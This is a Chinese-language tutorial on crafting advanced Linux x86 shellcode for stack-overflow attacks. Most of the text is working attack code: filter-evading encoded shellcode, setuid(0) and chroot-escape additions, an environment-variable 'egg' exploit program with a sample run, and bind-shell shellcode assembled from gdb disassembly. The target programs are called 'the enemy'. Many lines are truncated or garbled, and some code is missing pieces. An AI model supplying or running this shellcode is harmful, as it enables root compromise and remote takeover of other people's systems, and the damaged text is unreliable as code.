我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔
。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的
------------------------------------------------------------------------
& & & & & 。。。。。。
& & & & & for(i=0;i & & & & & & & & argv[1]=toupper(argv[1]);
& & & & & & & & ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
& & & & & 。。。。。。
& & & & & strcpy(buffer,argv[1]);
------------------------------------------------------------------------
显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系
大小写敏感的,因此execve系统调用不会成功。自然得不到shell。
怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50,得到&\x2f\x12\x19\x1e\x2f\x23\x18&,在
里面再把它们改回来。
另外,指令&\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成:
&movl %esi,%eax&, &addl $0x8,%eax&,&movl %eax,0x8(%esi)&.
新的shellcode如下:
char shellcode[]=
& & &\xeb\x38& & & & & & & & /* jmp 0x38 & & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\x80\x46\x01\x50& & & & & /* addb $0x50,0x1(%esi) */
& & &\x80\x46\x02\x50& & & & & /* addb $0x50,0x2(%esi) */
& & &\x80\x46\x03\x50& & & & & /* addb $0x50,0x3(%esi) */
& & &\x80\x46\x05\x50& & & & & /* addb $0x50,0x5(%esi) */
& & &\x80\x46\x06\x50& & & & & /* addb $0x50,0x6(%esi) */
& & &\x89\xf0& & & & & & & & /* movl %esi,%eax & & */
& & &\x83\xc0\x08& & & & & & & /* addl $0x8,%eax & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x88\x46\x07& & & & & & & /* movb %eax,0x7(%esi) & */
& & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
& & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
& & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
& & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
& & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\x89\xd8& & & & & & & & /* movl %ebx,%eax & & */
& & &\x40& & & & & & & & & /* inc %eax & & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xe8\xc3\xff\xff\xff& & & & /* call -0x3d & & & & */
& & &\x2f\x12\x19\x1e\x2f\x23\x18&; /* .string &/bin/sh& & */
& & & & & & & & & & & & & /* /bin/sh is disguised */
好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的,等等。
2:对付seteuid(getuid())
有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普
当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可
能是这种情况。
但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
rootshell。
我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 &__setuid&: & movl & %ebx,%edx
0x804ca02 &__setuid+2&: movl & 0x4(%esp,1),%ebx
0x804ca06 &__setuid+6&: movl & $0x17,%eax
0x804ca0b &__setuid+11&: & & int & $0x80
0x804ca0d &__setuid+13&: & & movl & %edx,%ebx
0x804ca0f &__setuid+15&: & & cmpl & $0xfffff001,%eax
0x804ca14 &__setuid+20&: & & jae & 0x804cc10 &__syscall_error&
0x804ca1a &__setuid+26&: & & ret &&
0x804ca1b &__setuid+27&: & & nop &&
0x804ca1c &__setuid+28&: & & nop &&
0x804ca1d &__setuid+29&: & & nop &&
0x804ca1e &__setuid+30&: & & nop &&
0x804ca1f &__setuid+31&: & & nop &&
End of assembler dump.
我们可以用b/bx指令得到:setuid(0)的汇编代码:
------------------------------------------------------------------------
char code[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\xb0\x17& & & & & & & & /* movb $0x17,%al & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
把这段代码加到标准shellcode中jmp的前面就可以了。
(注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈
就把string的返回地址冲掉了)
new shellcode
------------------------------------------------------------------------
char shellcode[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\xb0\x17& & & & & & & & /* movb $0x17,%al & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xeb\x1f& & & & & & & & /* jmp 0x1f & & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x88\x46\x07& & & & & & & /* movb %eax,0x7(%esi) & */
& & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
& & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
& & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
& & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
& & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\x89\xd8& & & & & & & & /* movl %ebx,%eax & & */
& & &\x40& & & & & & & & & /* inc %eax & & & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xe8\xdc\xff\xff\xff& & & & /* call -0x24 & & & & */
& & &/bin/sh&; & & & & & & & /* .string \&/bin/sh\& & */
------------------------------------------------------------------------
3:敌人把root的根目录给改掉了
有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。
结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然
我们可以进行如下操作:以找回root的根目录\。
mkdir(&sh&);
chroot(&sh&);
chroot(&../../../../../../../&);
它们的汇编代码为:
mkdir(&sh&,0755); code
------------------------------------------------------------------------
& & /* mkdir first argument is %ebx and second argument is & */
& & /* %ecx. & & & & & & & & & & & & & & & & */
char code[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\xb0\x27& & & & & & & & /* movb $0x27,%al & & */
& & &\x8d\x5e\x05& & & & & & & /* leal 0x5(%esi),%ebx & */
& & /* %esi has to reference &/bin/sh& before using this & */
& & /* instruction. This instruction load address of &sh& & */
& & /* and store at %ebx & & & & & & & & & & & & */
& & &\xfe\xc5& & & & & & & & /* incb %ch & & & & */
& & /* %cx = 00 0000 & & & & & & & & & */
& & &\xb0\x3d& & & & & & & & /* movb $0xed,%cl & & */
& & /* %cx = 10 1101 & & & & & & & & & */
& & /* %cx = 000 111 101 101 & & & & & & & & & & & */
& & /* %cx = 0 & 7 & 5 & 5 & & & & & & & & & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
chroot(&sh&); code
------------------------------------------------------------------------
& & /* chroot first argument is ebx */
char code[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x8d\x5e\x05& & & & & & & /* leal 0x5(%esi),%ebx & */
& & &\xb0\x3d& & & & & & & & /* movb $0x3d,%al & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
chroot(&../../../../../../../../../../../../../../../../&); code
------------------------------------------------------------------------
char code[]=
& & &\xbb\xd2\xd1\xd0\xff& & & & /* movl $0xffd0d1d2,%ebx */
& & /* disguised &../& character string & & & & & & & */
& & &\xf7\xdb& & & & & & & & /* negl %ebx & & & & */
& & /* %ebx = $0x002f2e2e & & & & & & & & & & & & */
& & /* intel x86 is little endian. & & & & & & & & & */
& & /* %ebx = &../& & & & & & & & & & & & & & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\xb1\x10& & & & & & & & /* movb $0x10,%cl & & */
& & /* prepare for looping 16 times. & & & & & & & & */
& & &\x56& & & & & & & & & /* pushl %esi & & & & */
& & /* backup current %esi. %esi has the pointer of & & & */
& & /* &/bin/sh&. & & & & & & & & & & & & & & */
& & &\x01\xce& & & & & & & & /* addl %ecx,%esi & & */
& & &\x89\x1e& & & & & & & & /* movl %ebx,(%esi) & & */
& & &\x83\xc6\x03& & & & & & & /* addl $0x3,%esi & & */
& & &\xe0\xf9& & & & & & & & /* loopne -0x7 & & & */
& & /* make &../../../../ . . . & character string at & & */
& & /* 0x10(%esi) by looping. & & & & & & & & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & /* restore %esi. & & & & & & & & & & & & & */
& & &\xb0\x3d& & & & & & & & /* movb $0x3d,%al & & */
& & &\x8d\x5e\x10& & & & & & & /* leal 0x10(%esi),%ebx */
& & /* %ebx has the address of &../../../../ . . . &. & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
我们把这些代码加进去:
new shellcode
------------------------------------------------------------------------
char shellcode[]=
& & &\xeb\x4f& & & & & & & & /* jmp 0x4f & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\x88\x46\x07& & & & & & & /* movb %al,0x7(%esi) & */
& & &\xb0\x27& & & & & & & & /* movb $0x27,%al & & */
& & &\x8d\x5e\x05& & & & & & & /* leal 0x5(%esi),%ebx & */
& & &\xfe\xc5& & & & & & & & /* incb %ch & & & & */
& & &\xb1\xed& & & & & & & & /* movb $0xed,%cl & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x8d\x5e\x05& & & & & & & /* leal 0x5(%esi),%ebx & */
& & &\xb0\x3d& & & & & & & & /* movb $0x3d,%al & & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\xbb\xd2\xd1\xd0\xff& & & & /* movl $0xffd0d1d2,%ebx */
& & &\xf7\xdb& & & & & & & & /* negl %ebx & & & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\xb1\x10& & & & & & & & /* movb $0x10,%cl & & */
& & &\x56& & & & & & & & & /* pushl %esi & & & & */
& & &\x01\xce& & & & & & & & /* addl %ecx,%esi & & */
& & &\x89\x1e& & & & & & & & /* movl %ebx,(%esi) & & */
& & &\x83\xc6\x03& & & & & & & /* addl %0x3,%esi & & */
& & &\xe0\xf9& & & & & & & & /* loopne -0x7 & & & */
& & &\x5e& & & & & & & & & /* popl %esi & & & & */
& & &\xb0\x3d& & & & & & & & /* movb $0x3d,%al & & */
& & &\x8d\x5e\x10& & & & & & & /* leal 0x10(%esi),%ebx */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x89\x76\x08& & & & & & & /* movl %esi,0x8(%esi) & */
& & &\x89\x46\x0c& & & & & & & /* movl %eax,0xc(%esi) & */
& & &\xb0\x0b& & & & & & & & /* movb $0xb,%al & & & */
& & &\x89\xf3& & & & & & & & /* movl %esi,%ebx & & */
& & &\x8d\x4e\x08& & & & & & & /* leal 0x8(%esi),%ecx & */
& & &\x8d\x56\x0c& & & & & & & /* leal 0xc(%esi),%edx & */
& & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
& & &\xe8\xac\xff\xff\xff& & & & /* call -0x54 & & & & */
& & &/bin/sh&; & & & & & & & /* .string \&/bin/sh\& & */
------------------------------------------------------------------------
4:敌人的buffer数组开的太小
如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近,比如,只有
字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳
shellcode的,结果会导致如下情况:
内存底部 & & & & & & & & & & 内存顶部
& & & buffer & EBP & ret &&
&------ & [SSS...S][S & ][S & ]S..SAAAAAAAAAAA
& & & ^&buffer
堆栈顶部 & & & & & & & & & & 堆栈底部 & &&
看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的
太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。
函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到
为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于
buffer长度
的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里
这两个变量分别为:
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。
这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父
的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运
,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示:
堆栈顶 & & & & & & & & & & & & & & & & & & & & & 堆
& & &参数指针&NULL&环境变量指针&NULL&参数个数&&参数&&环境变量&
这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆
会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大
overflow.c
------------------------------------------------------------------------
#define DEFAULT_OFFSET & & & & & & 0
#define DEFAULT_BUFFER_SIZE & & & & 512
#define DEFAULT_EGG_SIZE & & & & & 2048
#define NOP & & & & & & & & & 0x90
char shellcode[] =
&\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&
&\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&
&\x80\xe8\xdc\xff\xff\xff/bin/sh&;
unsigned long get_esp(void) {
& __asm__(&movl %esp,%eax&);
void main(int argc, char *argv[]) {
char *buff, *ptr, *
long *addr_ptr,
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc & 1) bsize & = atoi(argv[1]);
if (argc & 2) offset = atoi(argv[2]);
if (argc & 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
& printf(&Can't allocate memory.\n&);
& exit(0);
if (!(egg = malloc(eggsize))) {
& printf(&Can't allocate memory.\n&);
& exit(0);
addr = get_esp() -
printf(&Using address: 0x%x\n&, addr);
addr_ptr = (long *)
for (i = 0; i & i+=4)
& *(addr_ptr++) =
for (i = 0; i & eggsize - strlen(shellcode) - 1; i++)
& *(ptr++) = NOP;
for (i = 0; i & strlen(shellcode); i++)
& *(ptr++) =
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
& & & & & //现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS
& & & & & //buff里面的内容为AAAAAAAAAAAAAAAAAAA,
& & & & & //我们猜测的egg环境变量的开始地址。
memcpy(egg,&EGG=&,4);
putenv(egg);
memcpy(buff,&RET=&,4);
putenv(buff);&
& & & & & //使用 putenv 来设置EGG,RET这两个环境变量。
system(&/bin/bash&);
& & & & & //这个bash继承了两个环境变量。
------------------------------------------------------------------------
好了,来试一试:
------------------------------------------------------------------------
[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
& 远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击
,由于我们不在本地,这个sh我们并没有得到。
因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,
listen我们的连接,给我们一个远程shell的责任。
如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,
远程的使用者就有了一个远程shell(跟telnet一样啦)。
下面就是这个算法的C实现:
opensocket.c
------------------------------------------------------------------------
4int soc,cli,soc_
5struct sockaddr_in serv_
6struct sockaddr_in cli_
7int main()
9 & & if(fork()==0)
11 & & & & & serv_addr.sin_family=AF_INET;
12 & & & & & serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 & & & & & serv_addr.sin_port=htons(30464);
14 & & & & & soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 & & & & & bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 & & & & & listen(soc,1);
17 & & & & & soc_len=sizeof(cli_addr);
18 & & & & & cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 & & & & & dup2(cli,0);
20 & & & & & dup2(cli,1);
21 & & & & & dup2(cli,2);
22 & & & & & execl(&/bin/sh&,&sh&,0);
------------------------------------------------------------------------
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子
作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接
当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,
标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了
这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。
看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用
gdb来反编译上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
welcome to change it and/or distribute copies of it under certain&
conditions.
Type &show copying& to see the conditions.
There is absolutely no warranty for GDB. Type &show warranty& for&
This GDB was configured as &i386-redhat-linux&...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 : & & movl & $0x2,%eax
0x804ca95 : & int & $0x80
0x804ca97 : & cmpl & $0xfffff001,%eax
0x804ca9c : & jae & 0x804cdc0 &__syscall_error&
0x804caa2 : & ret &&
0x804caa3 : & nop &&
0x804caa4 : & nop &&
0x804caa5 : & nop &&
0x804caa6 : & nop &&
0x804caa7 : & nop &&
0x804caa8 : & nop &&
0x804caa9 : & nop &&
0x804caaa : & nop &&
0x804caab : & nop &&
0x804caac : & nop &&
0x804caad : & nop &&
0x804caae : & nop &&
0x804caaf : & nop &&
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 : & movl & %ebx,%edx
0x804cda2 : & movl & $0x66,%eax
0x804cda7 : & movl & $0x1,%ebx
0x804cdac : leal & 0x4(%esp,1),%ecx
0x804cdb0 : int & $0x80
0x804cdb2 : movl & %edx,%ebx
0x804cdb4 : cmpl & $0xffffff83,%eax
0x804cdb7 : jae & 0x804cdc0 &__syscall_error&
0x804cdbd : ret &&
0x804cdbe : nop &&
0x804cdbf : nop &&
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 : & & movl & %ebx,%edx
0x804cd62 : & movl & $0x66,%eax
0x804cd67 : & movl & $0x2,%ebx
0x804cd6c : & leal & 0x4(%esp,1),%ecx
0x804cd70 : & int & $0x80
0x804cd72 : & movl & %edx,%ebx
0x804cd74 : & cmpl & $0xffffff83,%eax
0x804cd77 : & jae & 0x804cdc0 &__syscall_error&
0x804cd7d : & ret &&
0x804cd7e : & nop &&
0x804cd7f : & nop &&
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 : & movl & %ebx,%edx
0x804cd82 : & movl & $0x66,%eax
0x804cd87 : & movl & $0x4,%ebx
0x804cd8c : leal & 0x4(%esp,1),%ecx
0x804cd90 : int & $0x80
0x804cd92 : movl & %edx,%ebx
0x804cd94 : cmpl & $0xffffff83,%eax
0x804cd97 : jae & 0x804cdc0 &__syscall_error&
0x804cd9d : ret &&
0x804cd9e : nop &&
0x804cd9f : nop &&
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 &__accept&: & movl & %ebx,%edx
0x804cd42 &__accept+2&: movl & $0x66,%eax
0x804cd47 &__accept+7&: movl & $0x5,%ebx
0x804cd4c &__accept+12&: & & leal & 0x4(%esp,1),%ecx
0x804cd50 &__accept+16&: & & int & $0x80
0x804cd52 &__accept+18&: & & movl & %edx,%ebx
0x804cd54 &__accept+20&: & & cmpl & $0xffffff83,%eax
0x804cd57 &__accept+23&: & & jae & 0x804cdc0 &__syscall_error&
0x804cd5d &__accept+29&: & & ret &&
0x804cd5e &__accept+30&: & & nop &&
0x804cd5f &__accept+31&: & & nop &&
End of assembler dump.
(gdb) disassemble dup2&
Dump of assembler code for function dup2:
0x804cbe0 : & & movl & %ebx,%edx
0x804cbe2 : & movl & 0x8(%esp,1),%ecx
0x804cbe6 : & movl & 0x4(%esp,1),%ebx
0x804cbea : & movl & $0x3f,%eax
0x804cbef : & int & $0x80
0x804cbf1 : & movl & %edx,%ebx
0x804cbf3 : & cmpl & $0xfffff001,%eax
0x804cbf8 : & jae & 0x804cdc0 &__syscall_error&
0x804cbfe : & ret &&
0x804cbff : & nop &&
End of assembler dump.
现在可以写上面c代码的汇编语句了。
fork()的汇编代码
------------------------------------------------------------------------
char code[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
socket(2,1,6)的汇编代码
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
& & /* socket使用66号系统调用,1号子调用。 & & & & & & */
& & /* 他使用一段内存块来传递参数2,1,6。 & & & & & & & */
& & /* %ecx 里面为这个内存块的地址指针. & & & & & & & */
char code[]=
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
& & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & /* 第一个参数 & & & & & & & & & & & & & & */
& & /* %esi 指向一段未使用的内存空间 & & & & & & & & */
& & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & /* 第二个参数 & & & & & & & & & & & & & & */
& & &\xb0\x06& & & & & & & & /* movb $0x6,%al & & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & /* 第三个参数. & & & & & & & & & & & & & & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x01& & & & & & & & /* movb $0x1,%bl & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
& & /* bind使用66号系统调用,2号子调用。 & & & & & & & */
& & /* 他使用一段内存块来传递参数。 & & & & & & & & */
& & /* %ecx 里面为这个内存块的地址指针. & & & & & & & */
char code[]=
& & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & /* %eax 的内容为刚才socket调用的返回值, & & & & & */
& & /* 就是soc文件描述符,作为第一个参数 & & & & & & & */
& & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
& & &\x66\x89\x46\x0c& & & & & /* movw %ax,0xc(%esi) & */
& & /* serv_addr.sin_family=AF_NET(2) & & & & & & & */
& & /* 2 放在 0xc(%esi). & & & & & & & & & & & & */
& & &\xb0\x77& & & & & & & & /* movb $0x77,%al & & */
& & &\x66\x89\x46\x0e& & & & & /* movw %ax,0xe(%esi) & */
& & /* 端口号(0x)放在 0xe(%esi) & & & & & & */
& & &\x8d\x46\x0c& & & & & & & /* leal 0xc(%esi),%eax & */
& & /* %eax = serv_addr 的地址 & & & & & & & & & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & /* 第二个参数. & & & & & & & & & & & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x89\x46\x10& & & & & & & /* movl %eax,0x10(%esi) */
& & /* serv_addr.sin_addr.s_addr=0 & & & & & & & & & */
& & &\xb0\x10& & & & & & & & /* movb $0x10,%al & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & /* 第三个参数 & & . & & & & & & & & & & & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x02& & & & & & & & /* movb $0x2,%bl & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
listen(soc,1)的汇编代码
------------------------------------------------------------------------
& & /* listen使用66号系统调用,4号子调用。 & & & & & & */
& & /* 他使用一段内存块来传递参数。 & & & & & & & & */
& & /* %ecx 里面为这个内存块的地址指针. & & & & & & & */
char code[]=
& & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
& & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
& & /* %eax 的内容为刚才socket调用的返回值, & & & & & */
& & /* 就是soc文件描述符,作为第一个参数 & & & & & & & */
& & &\xb0\x01& & & & & & & & /* movb $0x1,%al & & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & /* 第二个参数. & & & & & & & & & & & & & & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x04& & & & & & & & /* movb $0x4,%bl & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
& & /* accept使用66号系统调用,5号子调用。 & & & & & & */
& & /* 他使用一段内存块来传递参数。 & & & & & & & & */
& & /* %ecx 里面为这个内存块的地址指针. & & & & & & & */
char code[]=
& & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
& & &\x89\xf1& & & & & & & & /* movl %eax,(%esi) & & */
& & /* %eax 的内容为刚才socket调用的返回值, & & & & & */
& & /* 就是soc文件描述符,作为第一个参数 & & & & & & & */
& & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
& & &\x89\x46\x04& & & & & & & /* movl %eax,0x4(%esi) & */
& & /* 第二个参数. & & & & & & & & & & & & & & */
& & &\x89\x46\x08& & & & & & & /* movl %eax,0x8(%esi) & */
& & /* 第三个参数. & & & & & & & & & & & & & & */
& & &\xb0\x66& & & & & & & & /* movb $0x66,%al & & */
& & &\xb3\x05& & & & & & & & /* movb $0x5,%bl & & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
dup2(cli,0)的汇编代码
------------------------------------------------------------------------
& & /* 第一个参数为 %ebx, 第二个参数为 %ecx & & & & & */
char code[]=
& & /* %eax 里面是刚才accept调用的返回值, & & & & & & */
& & /* 客户的文件描述符cli . & & & & & & & & & & & */
& & &\x88\xc3& & & & & & & & /* movb %al,%bl & & & */
& & &\xb0\x3f& & & & & & & & /* movb $0x3f,%al & & */
& & &\x31\xc9& & & & & & & & /* xorl %ecx,%ecx & & */
& & &\xcd\x80&; & & & & & & & /* int $0x80 & & & & */
------------------------------------------------------------------------
现在该把这些所有的细节都串起来,形成一个新的shell的时候了。
new shellcode
------------------------------------------------------------------------
char shellcode[]=
00 & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
02 & & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
04 & & &\xcd\x80& & & & & & & & /* int $0x80 & & & & */
06 & & &\x85\xc0& & & & & & & & /* testl %eax,%eax & & */
08 & & &\x75\x43& & & & & & & & /* jne 0x43 & & & & */
& & /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 & */
& & /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) & & */
0a & & &\xeb\x43& & & & & & & & /* jmp 0x43 & & & & */
& & /* 当fork()==0 的时候,表明是子进程 & & & & & & & & */
& & /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 & & */
0c & & &\x5e& & & & & & & & & /* popl %esi & & & & */
0d & & &\x31\xc0& & & & & & & & /* xorl %eax,%eax & & */
0f & & &\x31\xdb& & & & & & & & /* xorl %ebx,%ebx & & */
11 & & &\x89\xf1& & & & & & & & /* movl %esi,%ecx & & */
13 & & &\xb0\x02& & & & & & & & /* movb $0x2,%al & & & */
15 & & &\x89\x06& & & & & & & & /* movl %eax,(%esi) & & */
